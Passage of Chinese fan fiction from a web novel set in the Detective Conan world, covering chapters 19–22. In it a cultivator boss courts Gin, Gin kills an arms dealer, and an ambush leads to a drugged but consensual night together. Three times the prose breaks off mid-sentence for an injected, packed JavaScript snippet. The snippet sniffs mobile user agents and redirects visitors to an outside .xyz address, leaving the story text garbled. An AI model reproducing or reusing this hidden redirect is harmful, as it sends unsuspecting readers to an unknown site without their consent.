琴酒心不在焉地看着烟花,身旁的Boss忽然毫无预兆地开了口:“Gin,你知道吗,我这人一向肆意妄为无法无天,凡是我看上的东西,就算是抢也要抢到手,但对你,我却舍不得这么做。因为我除了喜欢你,还很欣赏你。” “如果我们最后能在一起,那当然最好,如果不能的话,我会伤心会难过,却也不会像之前那样,逼你去做你不想做的事情,那样的我并不值得你的效忠。” “你真的特别特别好,不该被当作用完就丢的消耗品,或者专供发泄的性玩偶,你就该被人万分珍视地对待,无论是作为下属还是伴侣。” 把心里话全盘托出后,原泽河脸上浮现出如释重负的表情,他侧头瞥了琴酒一眼,见他依旧抬头看着天上的烟花,脸上神情并未有太大波动,不由有些挫败:“什么嘛,我说了那么多,你一个字也没听进去。” 琴酒闻言,侧头对上他的视线,含带温柔的碧色双眸清晰地倒映着他的面容:“我听到了。” 被他这么看着,原泽河有一瞬间的晃神,随后便装作一副若无其事的样子,抬头看着那些烟花,似乎想要掩饰什么,但是微微上翘的嘴角却泄露了他此时的心情。 19.每天都在刷好感度6 伏特加手握着方向盘,透过后视镜瞥了一眼后座的百利甜,对方此刻正趴在车窗上,任由凉风吹拂脸颊。他看了一眼便收回视线,心里暗自感慨爱情的力量果然强大,能让某条咸鱼都变得上进起来。 他们此行是要去敲打一个打着组织旗号贩卖军火的小帮派,百利甜听说此事后,义正词严地说自己身为组织中的一员,最见不得的就是这种抹黑组织的行为,说完就直接拉开后座车门坐了进去,不给他们拒绝的机会。 伏特加当时听完后立马翻了个白眼,心里腹诽:得了吧,我还不知道你吗,你只是想和大哥多呆一会罢了。 不过话说回来,百利甜兢兢业业、勤勤恳恳的目的虽然不单纯,却实打实地为他和琴酒减轻了工作负担,从打工人的立场来说,伏特加希望百利甜继续卷生卷死,好让他心安理得躺平。 半个小时后,保时捷开到红灯区,在一家KTV门口停下,他们的目标人物此刻就在KTV里,用打着组织旗号赚来的钱寻欢作乐。 三人下了车后,一同走进店里。店里三教九流什么样的人物都有,他们身上那股不好惹的气势立时引起了所有人的注意,服务员快速上前一步,拦住了他们的去路,脸上挂着职业式假笑:“请问几位先生需要什么?我很荣幸为你们服务。” 原泽河冲他礼貌地笑了笑:“我们是来找人的。”他说完,又强调似的补充了一句:“不是来砸场子的。” 听到他这么说,服务员便稍稍放下心来,向他们做了一个“请”的手势,恭恭敬敬地说道:“那就不打扰各位找人了。” 原泽河见状,对他笑着道了一声谢,便和琴酒伏特加同时迈开脚步,朝最终的目的地——304号包厢快步前进。 此时此刻,304号包厢里的男人还不清楚外面发生了什么,他翘着二郎腿坐在沙发上,喝着小酒,搂着姑娘,要多惬意有多惬意。 他的下属小心翼翼地看了他一眼,犹豫片刻,终究还是鼓起勇气问道:“老大,我们借着黑衣组织的名号卖假货,真的不会出事吗?” 他话音刚落,下一秒钟就被愤怒的上司一脚踹飞了,这一脚估计用了十成十的力道,他重重地摔倒在地上,猛烈的疼痛感顿时传遍周身,他疼得连翻滚的力气都没有,身子蜷缩得像一只虾米。 被他当众扫了颜面,向来好面子,听不得别人说自己半点不是的男人脸色瞬间变得铁青,他居高临下地看着这个没眼力劲儿的下属,一字一句咬牙切齿地说:“你他娘的真是个软蛋,兵来将挡水来土掩,我还能怕他们不成?” 下属默默在心里问候了他祖宗十八代,面上却装出一副畏畏缩缩的样子,忍着疼痛利索地爬起来,自己骂自己,一边骂一边左右开弓,狂扇自己的耳光:“我是软蛋我是软蛋我是软蛋……” 为了让男人消气,他恶狠狠地打自己耳光,一点也没手下留情。寂静的包厢里响起了清脆的耳光声,那几名陪酒女都低着头,眼观鼻鼻观心,假装看不见,唯恐男人迁怒到自己身上。 男人看他这副样子,心中刚刚升起来的那股无名怒火也消散了不少,他哼了一声,赶苍蝇似的挥了挥手:“行了行了,你可以滚了,别在这里影响我心情了!!!” 下属如蒙大赦,立刻停下手上的动作,脸已经被他自己打得高高肿起来。但他顾不上脸上火辣辣的灼痛,恭恭敬敬地朝着男人鞠了一躬,然后就逃也似的飞奔离去,好像身后有什么洪水猛兽似的。 但刚走出没多远,他就迎面撞上三个男人,一个银发绿眸,气质冷冽逼人,一个身形高壮,戴着墨镜,还有一个黑发金眸,容貌绮丽,这三人虽外貌各不相同,但都穿了一身的黑衣,看起来气势非凡。 下属愣愣地看着来者,脑海中没来由地冒出一个念头:这三个家伙不会就是黑衣组织派来寻仇的人吧? 仿佛是为了印证他的想法,下一秒,他就听到那个一身黑衣黑墨镜的壮汉语气雀跃地说道:“大哥,304号包厢就在前面了,我们快进去,别让那老小子跑了!” 下属听到这里,心底的猜测更坚定了几分,看来这三个家伙的确是冲老大来的,至于他们是来干什么的,那就不得而知了。不过……他偷瞥了一眼领头的那个满身杀气,一脸生人勿近的银发男人,不由得为自己捏了一把冷汗。 还好他被赶出来了,不然这条小命就得交待在里面了,这可真是塞翁失马焉知非福。 意识到接下来会发生什么,求生欲爆棚的他只管甩开步子,能跑多远就跑多远,至于里面那个家伙的死活干他什么事,他不过是一个端茶递水的小喽啰罢了,玩什么命啊! 包厢之中,男人重新坐回到沙发上,左拥右抱好不快活,并没有意识到危险即将来临。 就在他张嘴咬下递到嘴边的葡萄时,“砰”的一声,大门突然被一脚踹开,紧接着三名黑衣男子杀气腾腾出现在他跟前。 来者不善,善者不来,男人瞪大了眼睛看着这三位不速之客,脸上的笑容骤然消失,神色也变得凝重起来。 空气中弥漫着剑拔弩张的气氛,那几名陪酒女察觉到不妙,纷纷吓得花容失色,噤若寒蝉。男人毫不留情地推开她们,霍地站起身,眯着眼睛危险地问道:“你们是谁?敢来打扰我喝酒,是不是活腻了?” 琴酒闻言皱了皱眉,还未开口,伏特加就抢先一步说道:“活腻了的人是你!要不是你打着我们组织的名号卖那些假冒伪劣产品,严重损害了我们的声誉和形象,我们也不会找上门来。哼,就因为你这个家伙,组织的后勤部不知收到了多少投诉!” 听闻此言,男人心里连连叫苦:那个臭小子可真是个乌鸦嘴,好的不灵坏的灵,黑衣组织的人还真找上门来了。 他心里一片惊骇,但是面上却仍装出一副镇定自若的样子,色厉内荏地说:“我警告你们,少给我泼脏水啊!我行得正坐得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894574|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端,压根没干过你们说的那些事!” 见他打死不承认,原泽河挑了挑眉,不紧不慢地说道:“3月18日,蓝调酒吧;4月22日,米花大厦;5月13日,皇家赌场……” 他每说出一个字,男人的脸色就苍白一分,到最后几乎和白纸一般。这小白脸方才提到的那些,都是他们私下交易军火的时间地点,对方既然知道得那么清楚,那自己再怎么狡辩也无济于事了。 既然事已至此,男人索性也不装了,破罐子破摔地说:“对,没错,是我干的!你们今天找上门来,不会是想要我把吃进去的全给吐出来吧?如果是这样的话,你们还是趁早死了这条心吧,老子我要钱没有,要命一条!” 要是放在平日里,面对冷若冰霜,杀气毕现的银发男人,他铁定不敢说出来这些话,但他眼下却是酒壮怂人胆,就是天王老子来了他也不怕。 正因如此,他眼睛死死地瞪着眼前的人,恶狠狠地威胁道:“我的手下个个忠犬,你们要是杀了我,他们肯定不会放过你们的!”说到这里,他顿了顿,嫌不够似的又补了一句:“到时候你们就等着被报复吧!” 但琴酒是何等人物,死在他手上的人不计其数,能被威胁到才怪。在对方话音落地的下一秒,他就以肉眼捕捉不到的速度拔出枪,毫不犹豫地扣下扳机,紧接着一枚子弹穿过了男人的眉心,鲜血如喷泉般飞溅而出。 事情发生的太快太突然,那几名陪酒女根本来不及反应就被溅了一身血。她们愣愣地看着彼此脸上溅到的血迹,发出一声尖叫后便眼前一黑晕了过去。 包厢里顿时陷入了一片死寂,一具睁着眼的尸体直挺挺地躺在地上,几名浓妆艳抹的女人横七竖八晕倒在他身旁,地板上满是腥红的液体,空气中浓郁的血腥气挥之不去。 琴酒对死人没兴趣,只瞥了一眼就收回目光,侧头看向身旁的伏特加,淡声开口:“你知道接下来应该怎么做吧?” 伏特加忙不迭点了头,飞速地拿出手机,将凶案现场拍了下来,上传到组织内网上。接下来有关人员就会让这几张照片传遍整个地下世界,以此来震慑那些妄图挑战组织权威的帮派成员。 直到任务结束,原泽河还没从方才那一幕中回过神来,脑海里翻涌着琴酒枪杀敌人的画面。 浓烈的硝烟味自他的枪管散开,与空气中无处不在的血腥味融合在一起,就像催情剂一样让自己眩晕。将这个浑身散发着危险气息的银发男人压在身下,看着那双泛着冷意的碧色眸子蒙上水雾的念头忽然无比强烈,但这个念头只占据了他的大脑一瞬,便被他强行按压下去。 他不久前才答应了琴酒,不会逼他去做他不想做的事情,转眼便出尔反尔也太不像话了。他虽不是什么好人,但对于答应过的事情,从来就没有毁约过。 想到这里,他望了琴酒一眼,满腹惆怅地叹息一声:看得到却吃不到,也不知这样的日子要过多久。 20.每天都在刷好感度7 保时捷停在KTV门口,原泽河从KTV出来后就上车离开了此地,准备各回各家。 此时已经是六七点钟了,天慢慢暗了下来,月亮逐渐升上天空,黑色的保时捷356A在路上快速行驶着,不多时便隐匿在夜色里。 大约过了十几分钟后,伏特加轻车熟路地将车驶入一条人迹罕至的街道。不知察觉到什么,黑发青年原本漫不经心的眼神瞬间变得警惕,他猛地坐直身子,冲着坐在前排的两个人大喊一声:“快下车!” 他的语气中带着些显而易见的急切,琴酒和伏特加来不及多想,身体已经先于大脑做出反应,同时拉开车门跳了下去。 下一刻,一枚手榴弹便砸向了那辆已经空无一人的保时捷,随着手榴弹的炸开,车子瞬间陷入一片火海。 刚一站稳身形,琴酒就神色狠戾地举起了手中的伯/莱/塔,朝着手榴弹扔过来的方向开了一枪,敌人根本来不及反应便了无生息,倒在地上发出一声沉重的闷响。 四周再度归于死寂,伏特加捂着自己剧烈起伏的胸口,万分惊骇地看着那辆被火舌吞噬的保时捷,惊魂未定地喘了口气。 他后知后觉地意识到了什么,担忧地看向身旁的银发男人:“大哥,这帮人显然是有备而来,我们现在该怎么办?”他一边说,一边警惕着周围的动静,敌人像是蛰伏在黑夜里的野兽,正在伺机将他们吞噬。 琴酒扫视了一眼四周,神色凝重,他估计藏在暗处的敌人至少十人起步,而且不仅在数量上占优势,装备也比他们精良得多。 不过他到底是见过大风大浪的人,眼前的形势虽然对他们极为不利,但他却没有显露出丝毫的畏惧,握着枪的手早已是青筋暴起,如同一头蓄势待发的猎豹,随时准备着给敌人致命一击。 伏特加毕竟没有他那么厉害,此刻不免忧心忡忡,敌方不但人多势众,而且装备精良,他们接下来肯定有一场硬仗要打。 他正给自己做着心理建设,忽听沉默许久的百利甜开口道:“伏特加前辈你就别担心了,我一个人就可以吊打那一群杂鱼。” 伏特加只当他是在安慰自己,但为了不打击他的自尊心,还是勉强点了点头,表示自己知道了。 原泽河一眼看穿他的内心想法,却没有说什么,只是不以为意地笑了笑。 片刻过后,他不慌不忙地捡起地上的小石子,屈指一弹,一颗颗石子便带着破空之声向四面八方打去,紧接着一道道痛苦的闷哼声响起,再之后便是一片死一般的宁静。 饶是琴酒见多识广,此刻也不由得露出震惊愕然的神色,弹指间敌人灰飞烟灭,他还是第一次知道人类的武力值可以高到这种程度。伏特加对此更是震惊到无以复加,如果不是亲眼所见,他还以为是在拍电影呢。 原泽河将他们震惊的神色尽收眼底,轻咳一声,脸不红心不跳地撒谎:“我以前拜过一个师父,他教了我一些中华武术。” 半晌过后,琴酒和伏特加沉默着点了点头,也不知是信了没有。原泽河为了避免两人追着这个问题深究,连忙朝周围大喊:“朋友,出来吧,别像只缩头乌龟似的躲在暗处!” 他的话音刚落下,一名红发男子就从阴影中走出来,他用怨念的眼神死死瞪着原泽河,一脸不可置信地说道:“你到底是谁?”黑衣组织什么时候多出这么一号人物?” 原泽河嗤笑一声,语气里满是轻蔑:“我是谁不重要,你只要知道今天是你的死期就行了。” 闻言,红发男子不禁怒火中烧,他深吸一口气,紧握住双拳,强压下心头的怒火说道:“不好意思,恐怕要叫你失望了——” 话音未落,他甩手扔出一枚烟雾弹,白色的烟雾瞬间炸开,顷刻间就将人视线遮蔽。各种刺激性的气体逐渐弥漫在周围的空气中,琴酒和伏特加怕烟雾有毒,都在第一时间捂住了自己的口鼻,而原泽河因为百毒不侵的缘故,对此并不在意。 红发男子隐在烟雾里,发出一声意味不明的笑:“送你们一份礼物,不用谢!” 恶意的笑声逐渐远去,原泽河被雾气盖住的视线慢慢恢复清明,然而红发男子早已不见踪影。眼见煮熟的鸭子飞走了,他不爽地哼了一声,随后抬脚走到了琴酒的面前,刚要开口说些什么,却听伏特加生无可恋地叹息了一声:“车子没了,我们怎么回去啊……” 原泽河无奈地摊摊手说:“没有办法,只能打车了。”顿了顿,他又补充了一句:“伏特加前辈自个儿可以打车回家。” 伏特加一眼看穿他心里的小九九,暗自腹诽了好几次见色忘友,随后便翻着白眼离开了。 原泽河如愿以偿地获得了与琴酒独处的机会,正摩拳擦掌要刷好感度,却被眼前所见惊住了——只见琴酒原本苍白的脸颊泛着不自然的潮红,微蹙着眉头似在忍受什么似的。 他注意到了琴酒的异样,心中暗叫不妙,刚才的烟雾果然不对劲,也不知道里面加了些什么东西。思及此,他不由自主地走到琴酒面前,握住他的肩膀关切问道:“Gin,你现在感觉怎么样?可有哪里不适?” 琴酒紧抿着唇,深呼吸两下,竭力让自己的声线保持平稳:“我没事,您不用担心。” ……可你看起来一点也不像“没事”的样子。原泽河在心里暗自叹息了一声,随后不由分说地拽着他往前走,在街口拦了一辆出租车,拉开车门把他给塞到后座,然后自己也坐进去。 司机猛踩油门一路狂奔,出租车很快就抵达了琴酒一直住的安全屋。原泽河付完钱后,扶着琴酒从车上下来。等到了家门口,琴酒的额头上已经渗出细密的汗珠,他拿出钥匙打开房门,原泽河跟在他身后一起走了进去。 进了屋子,琴酒领着他到客厅的沙发上坐下,然后拿起茶壶给他倒了一杯红茶,再为他打开家里的电视机。做完这一切后,他已经被体内升起的热潮烧得神志不清了,但还是强打起精神说道:“Boss,实在抱歉,我突然有些累了,想休息一会,只怕不能继续招待您了,您可以先看看电视,打发打发时间。” 他说完这句话就要离开,不料下一秒就迎来了一阵天旋地转,等他反应过来的时候,已经被Boss压在沙发上,对方的嘴唇暧昧地蹭着他的唇角,两人呼吸相闻,气息交缠,说不尽的亲密。 过了好一会儿,琴酒都没等到他下一步的动作,不由疑惑地抬眸,正好对上一双饱含欲望的眼睛,整个人瞬间怔愣住。 怔愣间,他听见Boss凑到他耳畔轻轻说了一句话,声音隐忍而克制:“……我可以吗?” 琴酒自然听懂了他的言外之意,他看着那个明明情动却努力克制住自己欲望的俊美青年,心里某种奇怪的渴求得到满足。迎着他灼热的目光,琴酒鬼使神差地点了点头,默许了他的行为。 后面的一切好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903243|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像都是顺其自然发生的。 琴酒只觉得大脑里头一团浆糊,一时没控制好手上的力道,在Boss的后背上留下一道抓痕。他后知后觉地意识到自己刚刚做了什么,脸上浮现出懊悔的神色:“Boss,抱歉,我……”连这种小事都控制不好。 “没事。”原泽河好像感受不到疼痛一样,冲他宽容地笑了一下,然后将他被汗浸湿的银发撩到耳后,在他的额头上落下一吻。这是一个干净而纯粹的吻,触感温凉而又柔软,琴酒莫名觉得自己像个初入花街的毛头小子,只是被亲了一下额头,心脏就要从胸腔里跳出来一样。 不知过了多久,狂风骤雨终于停歇,原泽河看着如同破布娃娃一般瘫倒在沙发上的琴酒,脸上挂着餍足的笑容。 这还是第一次,他和琴酒你情我愿为爱鼓掌,以往对方只是一味顺从,大多数时候都是他在唱独角戏,滋味虽然也不差,但到底无趣了些,直到今日琴酒主动了一回,原泽河这才终于理解了,为何有那么多人热衷于那档子事。 能和心上人行一场酣畅淋漓的鱼水之欢,的确是人生一大快事。 他对自己和琴酒施了个清洁咒,便让男人把脑袋枕在他大腿上,看着对方毫无防备地沉沉睡去,唇瓣勾起浅浅的弧度。 时间悄然流逝,当窗外的天色刚刚泛起一抹鱼肚白的时候,琴酒从睡梦中醒了过来,他下意识地抬眼,正对上Boss那双满是笑意的金色眸子:“你醒了。” 发现自己正枕在人家大腿上后,琴酒脑子空白了一瞬,但很快就反应过来,连忙从他身上起来,只是刚半撑起身子便又被他按了下去,紧接着对方带着调笑意味的话语响在他耳畔:“你的腰还好吗?毕竟昨晚那么激烈。” 听到他这么说,琴酒才后知后觉地感受到了腰疼的感觉。想到昨晚的激烈程度,他耳尖猛地红了,乖乖地再次躺下,闭上眼睛。 Boss见状发出一声轻笑,温热的手掌抚上他劲瘦的腰肢,一寸寸细致地揉按着。他的手指长而有力,按摩的力道恰到好处,逐渐缓解了琴酒腰上的酸痛。 就在他紧绷的身体完全放松下来时,Boss不知为何忽然停住手上动作,他心下疑惑不解,偷偷抬眼去看,却见Boss拿出一条串了红珠的细链,不由分说地戴到了他的脖子上。 那颗赤红色的珠子看起来就价值不菲,琴酒瞬间支起上半身,捏着手里光滑圆润的珠子,不明所以地抬眼:“您这是……” 原泽河抬手摸了摸他那绸缎般顺滑的银发,温声细语地说:“这颗珠子可是件了不得的宝贝,能在关键时刻保你性命。Gin,记住,当你遇到无法抵御的危险时,只要捏碎这颗珠子,我就会来救你。” 他的话一字不落地进了琴酒的耳中,银发杀手沉默两秒,最终点了点头,也不知信了没有。 原泽河对他的顺从感到很是满意,忽然想到了什么,浅笑着说:“Gin,你现在饿了吗?刚刚你睡着的时候我点了外卖,应该很快就到了。” 琴酒点点头表示自己知道了,随即慵懒地仰靠在Boss的大腿上,任由他一下一下地抚摸着自己的头发,像是在给银色长毛猫顺毛似的。 鼻尖尽是他身上好闻的气息,抬眼就能看到他流畅的下颚线,琴酒不自觉地弯了弯唇角,忽然觉得这样的日子也不错。此时此刻,他只想时间过得慢一些,再慢一些,能多和他在一起。 21.保护我方劳模先生1 太阳即将落山的时候,穿着黑T恤牛仔裤的高瘦青年迈着长腿,一路走到隐匿于山林间的一座私人别墅前,随后径直向别墅里走去,站在岗位前的门卫见他到来,非但没叫他滚远点,反而眼观鼻鼻观心,垂手立在原地,无一人敢阻拦他。 此人正是黑衣组织真正的老大原泽河。 他之所以会出现在这里,全是因为三天前乌丸莲耶给他发了一封紧急邮件,对方在邮件上说自己命不久矣,临死前欲见他一面,原泽河收到邮件之后就马不停蹄地坐飞机来到了这里。 乌丸莲耶再怎么说都是他在这个世界里结交的第一个朋友,如今临死前想见他,他岂有不见之理? 压下心中繁杂的思绪,他抬脚往里走。偌大的别墅布置得极为奢华,从墙上挂着的壁画,到地板上铺着的地毯,处处都透露着金钱的气息。虽说上次来访已经是好几年前的事情了,但他还是轻车熟路地找到了乌丸莲耶的卧房。 原泽河刚一踏进房中,身后的门便“哐”地一声自动关上。他抬脚走到床边坐下,垂眸看着床上的老人。他的身形如同枯槁,布满皱纹的脸上几乎看不见一丝血色,亮银色的头发也失去光泽,凌乱地披散在枕边。 他现在的身体如同风中残烛,随时都可能熄灭,完全找不到一星半点当年意气风发的模样,如果不是尚有呼吸,几乎与尸体无异。 原泽河从来没见过他这般气息奄奄的样子,不由得心中暗暗叹息,难怪历朝历代的上位者都试图追求长生不老,他们有钱又有权,自然是不甘心现在拥有的一切化为乌有,可生老病死是自然规律,古往今来又有几人能超脱死亡获得永生呢? 就连他们这些修仙之人,如果不能得道飞升,也只是比普通人活得久一点罢了,到了身死魂消这一刻,一切都是尘归尘土归土。而世间修士多如过江之鲫,所求不过就是长生不老、羽化登仙,但真正能实现这一目标的人终究是寥寥无几。 想当初他也是追求白日飞升的一员,只可惜,最后还是功亏一篑。 耳边忽然传来一声虚弱的呼唤声,将他的思绪拉回到现实,原泽河立即把视线投向了乌丸莲耶,对方抬眼和他视线相撞,两人互相望着彼此,一阵难言的沉默瞬间弥漫开来。 率先开口打破僵局的是乌丸莲耶,他费力地支起半边身体,浑浊的眼睛里流露出几分乍见故人的惊喜:“哎呀呀,Boss大驾光临,真是令寒舍蓬荜生辉啊。” 原泽河俯身给他身后垫了个软枕,然后好笑地说道:“我们之间是什么关系,用得着这么客气吗?” 乌丸莲耶闻言不以为意地笑了笑,随后盯着他的脸仔仔细细打量了一遍,见他相貌丝毫未变,依旧耀眼不可方物,看他的眼神里也多了几分毫不掩饰的羡慕:“多年过去,您的面容却一如往昔,真是让人羡慕啊。” 原泽河听闻此言,昳丽的眉眼低垂,半晌之后他才开口说道:“我来自另一个世界,有修为在身,寿命自然跟你们不一样。” 乌丸莲耶望向面前这个与记忆中一般无二的青年,语气中夹杂着显而易见的惆怅:“您是天外来客,福寿绵长,寿命比普通人长了好几倍,但我不过是一介凡夫,生命即将走到尽头,以后再也不能侍奉在您的左右。” 随着他的话音落下,屋内第二次陷入了沉默,不知过了多久,原泽河看着他,勉强挤出一丝笑容,劝慰似的说道:“说什么丧气话呢,这可一点都不像你。乌丸,你之前不是一直和我说,你要逆转时间的洪流,让死人复生吗?” 想到自己曾经的雄心壮志,乌丸莲耶苦笑了一下,自嘲似的说:“正如您所见,我这些年执着于追求永生,无暇顾及其他,可直到现在,我也未能得偿所愿,如今只剩最后一口气吊着,不认命也得认命了。” 原泽河不赞同地摇了摇头,语气中颇有些恨铁不成钢的意味:“你瞧瞧这说的什么话,难道你忘了还有我吗?服下我亲手炼制的丹药,你至少还能多活十几年。” 听他这么说,乌丸莲耶无奈地叹出一口气:“我之所以能活到现在,已经是托了您那些丹药的福,但那些丹药终究不是长生不死药,我全身的器官早已衰竭,与其拖着这具残破不堪的躯体苟活下去,不如一死得以解脱。” 漫长的沉默过后,原泽河面色凝重地开口:“你不记得你那些宏图伟业了?” 此话一出,乌丸莲耶身体微微颤抖了一下,面色却丝毫不变:“人死如灯灭,那些东西死了也带不走,不提也罢。现在能让我放心不下的,也只有两件事了。” 说到这里他戛然而止,原泽河知道他接下来要交代遗言,心里虽然有些难过,但还是屏气凝神,耐心地等待他的下文。 大概半分钟后,乌丸莲耶抿了抿干枯的嘴唇,缓缓说道:“第一件事有关组织,因为我这些年做的糊涂事,组织已经被多股势力盯上,迟早要被一锅端了……” 似乎早就料到他会说这件事,原泽河脸上并未露出意外的神色,他故意摆出一副很嫌弃的样子,半真半假地抱怨道:“因为你的缘故,我的工作量极大地加重了,现在正忙着给你善后呢。” 乌丸莲耶和他认识挺久了,早就摸透了他的脾气性格,知道他此刻并没有兴师问罪的意思。然而他过不去自己心里那关,说话的语气里充满了自责与歉疚:“非常抱歉给您带来了麻烦,如果您觉得有必要的话,就把这个已经被渗透成筛子的组织完完全全地摧毁掉吧,我绝无半句怨言。” 原泽河闻言轻摆了摆手道:“如何处理这件事,我心中自有计较。”说到这里他话锋一转:“你要说的第二件事又是什么?” 迎着他那问询的视线,乌丸莲耶却并没有立刻回答,他长长叹息了一声后,才神色怅然地说道:“您知道我有个亲生女儿吧?” 原泽河听了他的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正在他陷入回忆无法自拔时,原本安安静静坐在一旁的Boss冷不防地冒出一句话:“你在想什么呢,这么入迷?” 乌丸莲耶的思绪一下子被拉回到现实,他怔怔地看着面前的青年,忽然猛地咳嗽起来,胸膛剧烈起伏着。原泽河生怕这阵咳嗽会要了他的命,忙拍着他的背给他顺气,见他呼吸平复下来,又给他倒了一杯水,亲手喂他喝下去。 经过这一个小插曲,原泽河早就把刚刚想问的问题忘了个一干二净,谁曾想乌丸莲耶忽然主动提及此事:“我刚想起了和您初见时的场景,您知道人上了年纪,就总爱回忆往昔。” 似乎没料到他会这么说,原泽河瞬间怔愣住,想说的话顿时卡在了喉咙里。 乌丸莲耶看着他一瞬间怔忪的表情,心里说不上来的滋味:“果然只有我还记得那些陈芝麻烂谷子的事情。” 原泽河听出他话中伤感之意,不由得无奈地叹息一声,而后一字一句地强调:“那时候的事我可都记得清清楚楚。” 他并没有说谎,毕竟他来到这个世界见到的第一个人就是乌丸莲耶。那时候的乌丸莲耶也才刚刚过完二十二岁生日,还是个年富力强、野心勃勃的年轻人。 22.保护我方劳模先生2 半明半暗的小巷,一阵枪声打破了黑夜的寂静,紧接着地上多出来一具身中子弹的新鲜尸体。 乌丸莲耶放下手中的枪,浓郁的硝烟味从枪口处蔓延开来。他只垂眼看了一眼地上的尸体,便若无其事地移开了视线,神色平静得仿佛只是干了件微不足道的小事。 不知听见了什么,他警觉地眯起眼睛,然后迅速转过身,右手拿枪指向声源。他的手指已经搭上了扳机,仿佛下一秒就要开枪,可在看清眼前的景象时,他的双眼蓦地睁大,似乎有些不可置信。 只见不远处,一个穿着奇装异服,模样介于青年与少年之间的男子躺在冰冷的地面上昏迷不醒,刚才那声动静似乎就是他发出来的。 那人虽已昏迷,乌丸莲耶却并未放下警惕心,他脚下朝那人一步一步走近,手中却依旧拿着枪,生怕对方突然暴起伤人。 走到那人面前,乌丸莲耶才停下脚步,举起手中的枪抵在了他的额头上。然而面对近在咫尺的死亡威胁,那人却毫无反应,始终一动不动,显然是真的晕了过去。 他暗自松了一口气,随即蹲下身子,借着透进来的微弱月光,彻底看清了眼前人的模样。 那人看上去不过二十岁左右,身着一袭红黑交错的衣袍,月色映衬下眉眼漂亮得仿佛在发光。此时此刻,他那墨色的长发凌乱地披散在身上,双眼紧紧闭着,睫毛随着呼吸轻颤,整个人脆弱得仿佛一碰就碎。 乌丸莲耶目光直直地看着他那张挑不出任何毛病的脸,脑子里没来由地冒出一个念头:眼前这个家伙不会是个妖怪吧?不是妖怪的话,人怎么能长成这副样子呢? 或许是这个念头太离谱了,下一秒,他就猛地摇摇头,将其甩出自己的脑海。 将视线再度投向面前的青年,乌丸莲耶突然有些犯难,不知道该拿他怎么办才好。 如果按照他以往宁肯错杀不肯放过的行事作风,这个家伙是肯定看不到明天的太阳了,但不知怎么回事,此刻面对着这个任人宰割,完全没有反抗能力的陌生人,他却怎么都下不了手。 在经历一番相当激烈的天人交战后,乌丸莲耶无奈地长叹了一口气,随后认命似的将他背起来,一步一步走出漆黑幽深的小巷,清冷的月辉洒在他们身上,给二人拉出一道长长的影子。 * 回到家中,已是晚上九点。乌丸莲耶将那个陌生男子扔进柔软的沙发里,然后从柜子里翻出自己的药箱,拿了伤药后半跪在他身前,替他简单处理好身上的伤口。 伤口处理完,他又走进自己的卧室,从衣橱里翻出一床薄被,轻轻地盖在青年身上。 之后的几天皆是如此,他白天干完活,晚上回到家里第一件事就是拿出纱布和药膏替他换药。 出乎乌丸莲耶意料的是,这个陌生青年身上的自愈能力出奇的强,不过一个晚上,那些狰狞可怖的伤痕就已经淡化了不少,几天过去之后,更是消失了个一干二净,变回了原本光洁如新的模样。 亲眼见证了这一切后,乌丸莲耶垂眸打量着依旧紧紧闭着双眼的黑发青年,那个之前被他压下去的想法再度浮于脑海,他相当严肃地想,眼前的这个家伙大概、或许、可能真的是个妖怪。 某日乌丸莲耶下班回到家,在打开家门的那一瞬间,他倏然睁大眼睛,几乎以为是自己走错了地方。 只见客厅的沙发上坐着一个人,那人长相是他生平仅见,正是一周前被他救下的那名青年。因为他身上的衣服早就残破不堪,乌丸莲耶特地找来自己的长裤和T恤给他换上。 黑发青年身高腿长,简直是天生的衣架子,再简单不过的衣服穿在他身上,竟也是十分的赏心悦目。 听到门口传来的动静,坐在沙发上的青年侧头望去,正好与刚进家门的乌丸莲耶对上视线。在对上他视线的那一瞬间,乌丸莲耶脑子里闪过的第一个念头竟然是——原来他的眼睛是金色的。 “你好啊。”在见到他的那一刻,黑发青年霍然站起身,朝他露出了一个友好的微笑,“多谢你救了我。” 乌丸莲耶完全没有想到他会在这个时候醒来,一时怔愣在原地,久久不能回过神来。在一长串漫长的沉默后,他主动开口,打破了两人之间死一般的沉寂:“请问,你是妖怪吗?” 闻听此言,黑发青年嘴角微微抽搐了一下,颇为无奈地看着他:“你怎么会有这种奇奇怪怪的想法?” 乌丸莲耶思忖了片刻,还是决定将心里的想法如实告知:“第一,只有妖怪才能长得像你这么好看;第二,你的自愈能力实在是太离谱了。” 这番话落在黑发青年的耳中,竟让他一时之间不知该如何反驳。斟酌片刻后,他慢悠悠道:“我不是妖怪,但也不是普通人。”看到对方一副果然如此的模样,他停顿了片刻,又继续道:“准确的说,我来自另一个世界,拥有不属于这个世界的力量。” 随着他的话音落下,屋里的空气紧接着安静了几秒,乌丸莲耶神情微妙地打量着他,目光里带着明显的审视意味,仿佛要将他看透。见对方脸上神色不似作伪,他的面色才缓和起来,将信将疑地问道:“你说你是另一个世界的人,那你是怎么来到这里的?” 